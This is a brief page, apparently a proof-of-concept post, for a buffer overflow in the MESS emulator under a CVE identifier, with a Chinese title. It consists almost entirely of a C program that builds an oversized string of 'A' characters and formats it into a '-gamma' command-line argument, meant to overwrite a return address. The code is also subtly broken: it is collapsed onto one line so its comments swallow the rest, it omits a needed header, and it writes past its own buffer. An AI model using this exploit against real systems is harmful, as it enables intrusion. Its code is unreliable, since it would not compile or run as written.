CVE-2016-20039 Multi Emulator Super System缓冲区溢出漏洞

#include <stdio.h> #include <string.h> // PoC for CVE-2016-20039 // This script demonstrates how to trigger the buffer overflow // by passing a large argument to the vulnerable application. int main() { // Vulnerable command simulation char *cmd = "./mess"; char *payload; int buffer_size = 512; // Example buffer size, adjust based on actual binary analysis int overwrite_size = buffer_size + 8; // Size to overflow and overwrite return address // Allocate memory for payload payload = (char *)malloc(overwrite_size); memset(payload, 'A', overwrite_size); payload[overwrite_size] = '\0'; // Execute the vulnerable application with the malicious gamma parameter // In a real scenario, the syntax might be: mess -gamma [payload] char exec_command[1024]; sprintf(exec_command, "%s -gamma %s", cmd, payload); printf("Executing command: %s\n", exec_command); // system(exec_command); // Uncomment to run free(payload); return 0; }